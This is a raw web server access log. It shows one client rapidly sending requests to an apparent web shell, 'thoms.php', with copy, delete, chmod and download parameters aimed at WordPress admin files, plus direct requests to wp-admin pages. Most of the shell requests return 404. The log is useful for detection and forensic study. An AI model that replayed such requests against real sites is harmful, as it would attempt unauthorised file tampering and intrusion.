45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ffont-library.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ffont-library.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /bfl.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?del=options-discussion.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?chmod=themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:27 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?dl=options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?dl=options-discussion.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?chmod=js&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /bfl.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /bfl.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?del=options-permalink.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /bfl.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?chmod=media-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?del=my-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-head.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-head.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprivacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprivacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?del=site-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?dl=import.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=import.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /bfl.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /bfl.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?del=user&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fabout.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fabout.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?dl=admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?del=plugins.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?dl=admin-post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?dl=ms-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?chmod=options-head.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /bfl.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:29 -0400] "GET /bfl.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?chmod=link-add.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?chmod=options-privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /bfl.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /bfl.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /thoms.php?del=css&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:30 -0400] "GET /bfl.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?chmod=menu.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnetwork.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnetwork.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?dl=users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /bfl.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?chmod=network&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /bfl.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?del=site-health.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?dl=link-add.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /bfl.com.tw/wp-admin/js/ HTTP/1.1" 200 3700 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:31 -0400] "GET /bfl.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?dl=load-scripts.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /bfl.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?del=load-styles.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /bfl.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?chmod=my-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
